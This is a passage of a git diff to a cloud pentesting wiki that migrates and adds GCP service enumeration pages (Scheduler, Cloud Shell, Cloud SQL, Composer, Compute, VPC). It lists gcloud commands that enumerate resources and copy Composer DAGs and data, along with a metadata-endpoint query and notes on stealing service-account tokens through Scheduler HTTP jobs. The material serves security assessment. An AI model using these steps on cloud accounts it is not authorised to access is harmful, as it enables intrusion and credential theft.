+## Basic Information
+
+Google Cloud Scheduler is a fully managed **cron job service** that allows you to run arbitrary jobs—such as batch, big data jobs, cloud infrastructure operations—at fixed times, dates, or intervals. It is integrated with Google Cloud services, providing a way to **automate various tasks like updates or batch processing on a regular schedule**.
+
+Although from an offensive point of view this sounds amazing, it actually isn't that interesting because the service just allow to schedule certain simple actions at a certain time and not to execute arbitrary code.
+
+At the moment of this writing these are the actions this service allows to schedule:
+
+<figure><img src="../../../images/image (347).png" alt="" width="563"><figcaption></figcaption></figure>
+
+- **HTTP**: Send an HTTP request defining the headers and body of the request.
+- **Pub/Sub**: Send a message into an specific topic
+- **App Engine HTTP**: Send an HTTP request to an app built in App Engine
+- **Workflows**: Call a GCP Workflow.
+
+## Service Accounts
+
+A service account is not always required by each scheduler. The **Pub/Sub** and **App Engine HTTP** types don't require any service account. The **Workflow** does require a service account, but it'll just invoke the workflow.\
+Finally, the regular HTTP type doesn't require a service account, but it's possible to indicate that some kind of auth is required by the workflow and add either an **OAuth token or an OIDC token to the sent** HTTP request.
+
+> [!CAUTION]
+> Therefore, it's possible to steal the **OIDC** token and abuse the **OAuth** token from service accounts **abusing the HTTP type**. More on this in the privilege escalation page.
+
+Note that it's possible to limit the scope of the OAuth token sent, however, by default, it'll be `cloud-platform`.
+
+## Enumeration
+
+```bash
+# Get schedulers in a location
+gcloud scheduler jobs list --location us-central1
+
+# Get information of an specific scheduler
+gcloud scheduler jobs describe --location us-central1 <scheduler-name>
+```
+
+## Privilege Escalation
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-shell-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-shell-enum.md
new file mode 100644
index 000000000..38133aa99
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-shell-enum.md
@@ -0,0 +1,28 @@
+# GCP - Cloud Shell Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Google Cloud Shell is an interactive shell environment for Google Cloud Platform (GCP) that provides you with **command-line access to your GCP resources directly from your browser or shell**. It's a managed service provided by Google, and it comes with a **pre-installed set of tools**, making it easier to manage your GCP resources without having to install and configure these tools on your local machine.\
+Moreover, its offered at **no additional cost.**
+
+**Any user of the organization** (Workspace) is able to execute **`gcloud cloud-shell ssh`** and get access to his **cloudshell** environment. However, **Service Accounts can't**, even if they are owner of the organization.
+
+There **aren't** **permissions** assigned to this service, therefore the **aren't privilege escalation techniques**. Also there **isn't any kind of enumeration**.
+
+Note that Cloud Shell can be **easily disabled** for the organization.
+
+### Post Exploitation
+
+{{#ref}}
+../gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../gcp-persistence/gcp-cloud-shell-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md
new file mode 100644
index 000000000..1b6cd0392
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md
@@ -0,0 +1,89 @@
+# GCP - Cloud SQL Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Google Cloud SQL is a managed service that **simplifies setting up, maintaining, and administering relational databases** like MySQL, PostgreSQL, and SQL Server on Google Cloud Platform, removing the need to handle tasks like hardware provisioning, database setup, patching, and backups.
+
+Key features of Google Cloud SQL include:
+
+1. **Fully Managed**: Google Cloud SQL is a fully-managed service, meaning that Google handles database maintenance tasks like patching, updates, backups, and configuration.
+2. **Scalability**: It provides the ability to scale your database's storage capacity and compute resources, often without downtime.
+3. **High Availability**: Offers high availability configurations, ensuring your database services are reliable and can withstand zone or instance failures.
+4. **Security**: Provides robust security features like data encryption, Identity and Access Management (IAM) controls, and network isolation using private IPs and VPC.
+5. **Backups and Recovery**: Supports automatic backups and point-in-time recovery, helping you safeguard and restore your data.
+6. **Integration**: Seamlessly integrates with other Google Cloud services, providing a comprehensive solution for building, deploying, and managing applications.
+7. **Performance**: Offers performance metrics and diagnostics to monitor, troubleshoot, and improve database performance.
+
+### Password
+
+In the web console Cloud SQL allows the user to **set** the **password** of the database, there also a generate feature, but most importantly, **MySQL** allows to **leave an empty password and all of them allows to set as password just the char "a":**
+
+<figure><img src="../../../images/image (14).png" alt=""><figcaption></figcaption></figure>
+
+It's also possible to configure a password policy requiring **length**, **complexity**, **disabling reuse** and **disabling username in password**. All are disabled by default.
+
+**SQL Server** can be configured with **Active Directory Authentication**.
+
+### Zone Availability
+
+The database can be **available in 1 zone or in multiple**, of course, it's recommended to have important databases in multiple zones.
+
+### Encryption
+
+By default a Google-managed encryption key is used, but it's also **possible to select a Customer-managed encryption key (CMEK)**.
+
+### Connections
+
+- **Private IP**: Indicate the VPC network and the database will get an private IP inside the network
+- **Public IP**: The database will get a public IP, but by default no-one will be able to connect
+  - **Authorized networks**: Indicate public **IP ranges that should be allowed** to connect to the database
+- **Private Path**: If the DB is connected in some VPC, it's possible to enable this option and give **other GCP services like BigQuery access over it**
+
+<figure><img src="../../../images/image (15).png" alt=""><figcaption></figcaption></figure>
+
+### Data Protection
+
+- **Daily backups**: Perform automatic daily backups and indicate the number of backups you want to maintain.
+- **Point-in-time recovery**: Allows you to recover data from a specific point in time, down to a fraction of a second.
+- **Deletion Protection**: If enabled, the DB won't be able to be deleted until this feature is disabled
+
+### Enumeration
+
+```bash
+# Get SQL instances
+gcloud sql instances list
+gcloud sql instances describe <inst-name> # get IPs, CACert, settings
+
+# Get database names inside an instance (like information_schema, sys...)
+gcloud sql databases list --instance <intance-name>
+gcloud sql databases describe <db-name> --instance <intance-name>
+
+# Get usernames inside the db instance
+gcloud sql users list --instance <intance-name>
+
+# Backups
+gcloud sql backups list --instance <intance-name>
+gcloud sql backups describe <backup-name> --instance <intance-name>
+```
+
+### Unauthenticated Enum
+
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../gcp-persistence/gcp-cloud-sql-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md
new file mode 100644
index 000000000..4abb9e39a
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md
@@ -0,0 +1,43 @@
+# GCP - Composer Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+**Google Cloud Composer** is a fully managed **workflow orchestration service** built on **Apache Airflow**. It enables you to author, schedule, and monitor pipelines that span across clouds and on-premises data centers. With GCP Composer, you can easily integrate your workflows with other Google Cloud services, facilitating efficient data integration and analysis tasks. This service is designed to simplify the complexity of managing cloud-based data workflows, making it a valuable tool for data engineers and developers handling large-scale data processing tasks.
+
+### Enumeration
+
+```bash
+# Get envs info
+gcloud composer environments list --locations <loc>
+gcloud composer environments describe --location <loc> <environment>
+
+# Get list of dags
+gcloud composer environments storage dags list --environment <environment> --location <loc>
+# Download dags code
+mkdir /tmp/dags
+gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
+
+# List Data from composer
+gcloud composer environments storage data list --environment <environment> --location <loc>
+# Download data
+mkdir /tmp/data
+gcloud composer environments storage data export --environment <environment> --location <loc> --destination /tmp/data
+
+# List Plugins from composer
+gcloud composer environments storage plugins list --environment <environment> --location <loc>
+# Download plugins
+mkdir /tmp/plugins
+gcloud composer environments storage data export --environment <environment> --location <loc> --destination /tmp/plugins
+```
+
+### Privesc
+
+In the following page you can check how to **abuse composer permissions to escalate privileges**:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-composer-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/README.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/README.md
similarity index 63%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/README.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/README.md
index d1a085958..db56d94df 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/README.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/README.md
@@ -1,31 +1,17 @@
 # GCP - Compute Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## GCP VPC & Networking
 
 Learn about how this works in:
 
-{% content-ref url="gcp-vpc-and-networking.md" %}
-[gcp-vpc-and-networking.md](gcp-vpc-and-networking.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-vpc-and-networking.md
+{{#endref}}
 
 ### Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # List networks
 gcloud compute networks list
@@ -63,17 +49,16 @@ gcloud compute network-firewall-policies list
 ## Get final FWs applied in a region
 gcloud compute network-firewall-policies get-effective-firewalls --network=<vpc_name> --region <region>
 ```
-{% endcode %}
 
-You easily find compute instances with open firewall rules with [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\_firewall\_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum)
+You easily find compute instances with open firewall rules with [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum)
 
 ## Compute instances
 
 This is the way you can **run virtual machines inside GCP.** Check this page for more information:
 
-{% content-ref url="gcp-compute-instance.md" %}
-[gcp-compute-instance.md](gcp-compute-instance.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-compute-instance.md
+{{#endref}}
 
 ### Enumeration
 
@@ -98,35 +83,35 @@ gcloud compute disks get-iam-policy <disk>
 
 For more information about how to **SSH** or **modify the metadata** of an instance to **escalate privileges,** check this page:
 
-{% content-ref url="../../gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md" %}
-[gcp-local-privilege-escalation-ssh-pivoting.md](../../gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md)
-{% endcontent-ref %}
+{{#ref}}
+../../gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
+{{#endref}}
 
 ### Privilege Escalation
 
 In the following page, you can check how to **abuse compute permissions to escalate privileges**:
 
-{% content-ref url="../../gcp-privilege-escalation/gcp-compute-privesc/" %}
-[gcp-compute-privesc](../../gcp-privilege-escalation/gcp-compute-privesc/)
-{% endcontent-ref %}
+{{#ref}}
+../../gcp-privilege-escalation/gcp-compute-privesc/
+{{#endref}}
 
 ### Unauthenticated Enum
 
-{% content-ref url="../../gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md" %}
-[gcp-compute-unauthenticated-enum.md](../../gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../../gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../../gcp-post-exploitation/gcp-compute-post-exploitation.md" %}
-[gcp-compute-post-exploitation.md](../../gcp-post-exploitation/gcp-compute-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../../gcp-post-exploitation/gcp-compute-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../../gcp-persistence/gcp-compute-persistence.md" %}
-[gcp-compute-persistence.md](../../gcp-persistence/gcp-compute-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../../gcp-persistence/gcp-compute-persistence.md
+{{#endref}}
 
 ## Serial Console Logs
 
@@ -158,12 +143,11 @@ The OS Configuration management feature allows you to define configuration polic
 
 This also allow to login in instances via IAM permissions, so it's very **useful for privesc and pivoting**.
 
-{% hint style="warning" %}
-In order to **enable os-config in a whole project or in an instance** you just need to set the **metadata** key **`enable-oslogin`** to **`true`** at the desired level.\
-Moreover, you can set the metadata **`enable-oslogin-2fa`** to **`true`** to enable the 2fa.
-
-When you enable it when crating an instance the metadata keys will be automatically set.
-{% endhint %}
+> [!WARNING]
+> In order to **enable os-config in a whole project or in an instance** you just need to set the **metadata** key **`enable-oslogin`** to **`true`** at the desired level.\
+> Moreover, you can set the metadata **`enable-oslogin-2fa`** to **`true`** to enable the 2fa.
+>
+> When you enable it when crating an instance the metadata keys will be automatically set.
 
 More about **2fa in OS-config**, **it only applies if the user is a user**, if it's a SA (like the compute SA) it won't require anything extra.
 
@@ -189,20 +173,18 @@ When an image is created you can choose **3 types of encryption**: Using **Googl
 
 You can query the list of non-standard images in a project with the following command:
 
-{% code overflow="wrap" %}
 ```bash
 gcloud compute machine-images list
 gcloud compute machine-images describe <name>
 gcloud compute machine-images get-iam-policy <name>
 ```
-{% endcode %}
 
 You can then [**export**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) **the virtual disks** from any image in multiple formats. The following command would export the image `test-image` in qcow2 format, allowing you to download the file and build a VM locally for further investigation:
 
 ```bash
 gcloud compute images export --image test-image \
     --export-format qcow2 --destination-uri [BUCKET]
-    
+
 # Execute container inside a docker
 docker run --rm -ti gcr.io/<project-name>/secret:v1 sh
 ```
@@ -244,19 +226,6 @@ Check the Compute Instances privilege escalation section.
 
 ## References
 
-* [https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching)
+- [https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md
similarity index 52%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md
index 89929b36a..3e3ead129 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md
@@ -1,19 +1,6 @@
 # GCP - Compute Instances
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -29,10 +16,10 @@ To run a Confidential VM it might need to **change** things like the **type** of
 
 It's possible to **select the disk** to use or **create a new one**. If you select a new one you can:
 
-* Select the **size** of the disk
-* Select the **OS**
-* Indicate if you want to **delete the disk when the instance is deleted**
-* **Encryption**: By **default** a **Google managed key** will be used, but you can also **select a key from KMS** or indicate **raw key to use**.
+- Select the **size** of the disk
+- Select the **OS**
+- Indicate if you want to **delete the disk when the instance is deleted**
+- **Encryption**: By **default** a **Google managed key** will be used, but you can also **select a key from KMS** or indicate **raw key to use**.
 
 ### Deploy Container
 
@@ -46,36 +33,36 @@ This service account has **Editor role over the whole project (high privileges).
 
 And the **default access scopes** are the following:
 
-* **https://www.googleapis.com/auth/devstorage.read\_only** -- Read access to buckets :)
-* https://www.googleapis.com/auth/logging.write
-* https://www.googleapis.com/auth/monitoring.write
-* https://www.googleapis.com/auth/servicecontrol
-* https://www.googleapis.com/auth/service.management.readonly
-* https://www.googleapis.com/auth/trace.append
+- **https://www.googleapis.com/auth/devstorage.read\_only** -- Read access to buckets :)
+- https://www.googleapis.com/auth/logging.write
+- https://www.googleapis.com/auth/monitoring.write
+- https://www.googleapis.com/auth/servicecontrol
+- https://www.googleapis.com/auth/service.management.readonly
+- https://www.googleapis.com/auth/trace.append
 
 However, it's possible to **grant it `cloud-platform` with a click** or specify **custom ones**.
 
-<figure><img src="../../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
 
 ### Firewall
 
 It's possible to allow HTTP and HTTPS traffic.
 
-<figure><img src="../../../../.gitbook/assets/image (326).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (326).png" alt=""><figcaption></figcaption></figure>
 
 ### Networking
 
-* **IP Forwarding**: It's possible to **enable IP forwarding** from the creation of the instance.
-* **Hostname**: It's possible to give the instance a permanent hostname.
-* **Interface**: It's possible to add a network interface
+- **IP Forwarding**: It's possible to **enable IP forwarding** from the creation of the instance.
+- **Hostname**: It's possible to give the instance a permanent hostname.
+- **Interface**: It's possible to add a network interface
 
 ### Extra Security
 
 These options will **increase the security** of the VM and are recommended:
 
-* **Secure boot:** Secure boot helps protect your VM instances against boot-level and kernel-level malware and rootkits.
-* **Enable vTPM:** Virtual Trusted Platform Module (vTPM) validates your guest VM pre-boot and boot integrity, and offers key generation and protection.
-* **Integrity supervision:** Integrity monitoring lets you monitor and verify the runtime boot integrity of your shielded VM instances using Stackdriver reports. Requires vTPM to be enabled.
+- **Secure boot:** Secure boot helps protect your VM instances against boot-level and kernel-level malware and rootkits.
+- **Enable vTPM:** Virtual Trusted Platform Module (vTPM) validates your guest VM pre-boot and boot integrity, and offers key generation and protection.
+- **Integrity supervision:** Integrity monitoring lets you monitor and verify the runtime boot integrity of your shielded VM instances using Stackdriver reports. Requires vTPM to be enabled.
 
 ### VM Access
 
@@ -83,7 +70,7 @@ The common way to enable access to the VM is by **allowing certain SSH public ke
 However, it's also possible to **enable the access to the VM vial `os-config` service using IAM**. Moreover, it's possible to enable 2FA to access the VM using this service.\
 When this **service** is **enabled**, the access via **SSH keys is disabled.**
 
-<figure><img src="../../../../.gitbook/assets/image (328).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (328).png" alt=""><figcaption></figcaption></figure>
 
 ### Metadata
 
@@ -103,25 +90,14 @@ curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?re
 
 Moreover, **auth token for the attached service account** and **general info** about the instance, network and project is also going to be available from the **metadata endpoint**. For more info check:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
+{{#endref}}
 
 ### Encryption
 
 A Google-managed encryption key is used by default a but a Customer-managed encryption key (CMEK) can be configured. You can also configure what to do when the used CMEF is revoked: Noting or shut down the VM.
 
-<figure><img src="../../../../.gitbook/assets/image (329).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (329).png" alt=""><figcaption></figcaption></figure>
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md
similarity index 54%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md
index 87cc18241..a55faeb46 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md
@@ -1,19 +1,6 @@
 # GCP - VPC & Networking
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## **GCP Compute Networking in a Nutshell**
 
@@ -34,28 +21,27 @@ By default, every network has two [**implied firewall rules**](https://cloud.goo
 
 When a GCP project is created, a VPC called **`default`** is also created, with the following firewall rules:
 
-* **default-allow-internal:** allow all traffic from other instances on the `default` network
-* **default-allow-ssh:** allow 22 from everywhere
-* **default-allow-rdp:** allow 3389 from everywhere
-* **default-allow-icmp:** allow ping from everywhere
+- **default-allow-internal:** allow all traffic from other instances on the `default` network
+- **default-allow-ssh:** allow 22 from everywhere
+- **default-allow-rdp:** allow 3389 from everywhere
+- **default-allow-icmp:** allow ping from everywhere
 
-{% hint style="warning" %}
-As you can see, **firewall rules** tend to be **more permissive** for **internal IP addresses**. The default VPC permits all traffic between Compute Instances.
-{% endhint %}
+> [!WARNING]
+> As you can see, **firewall rules** tend to be **more permissive** for **internal IP addresses**. The default VPC permits all traffic between Compute Instances.
 
 More **Firewall rules** can be created for the default VPC or for new VPCs. [**Firewall rules**](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following **methods**:
 
-* [**Network tags**](https://cloud.google.com/vpc/docs/add-remove-network-tags)
-* [**Service accounts**](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)
-* **All instances within a VPC**
+- [**Network tags**](https://cloud.google.com/vpc/docs/add-remove-network-tags)
+- [**Service accounts**](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)
+- **All instances within a VPC**
 
 Unfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.
 
 This process was automated using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following:
 
-* CSV file showing instance, public IP, allowed TCP, allowed UDP
-* nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)
-* masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)
+- CSV file showing instance, public IP, allowed TCP, allowed UDP
+- nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)
+- masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)
 
 ### Hierarchical Firewall Policies <a href="#hierarchical-firewall-policies" id="hierarchical-firewall-policies"></a>
 
@@ -69,7 +55,7 @@ You can read here how to [**create a Hierarchical Firewall Policy**](https://clo
 
 ### Firewall Rules Evaluation
 
-<figure><img src="../../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 1. Org: Firewall policies assigned to the Organization
 2. Folder: Firewall policies assigned to the Folder
@@ -84,29 +70,16 @@ Peered VPC networks can be in the same project, different projects of the same o
 
 These are the needed permissions:
 
-* `compute.networks.addPeering`
-* `compute.networks.updatePeering`
-* `compute.networks.removePeering`
-* `compute.networks.listPeeringRoutes`
+- `compute.networks.addPeering`
+- `compute.networks.updatePeering`
+- `compute.networks.removePeering`
+- `compute.networks.listPeeringRoutes`
 
 [**More in the docs**](https://cloud.google.com/vpc/docs/vpc-peering).
 
 ## References
 
-* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
-* [https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation](https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation)
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
+- [https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation](https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation)
 
-{% hint style="success" %}
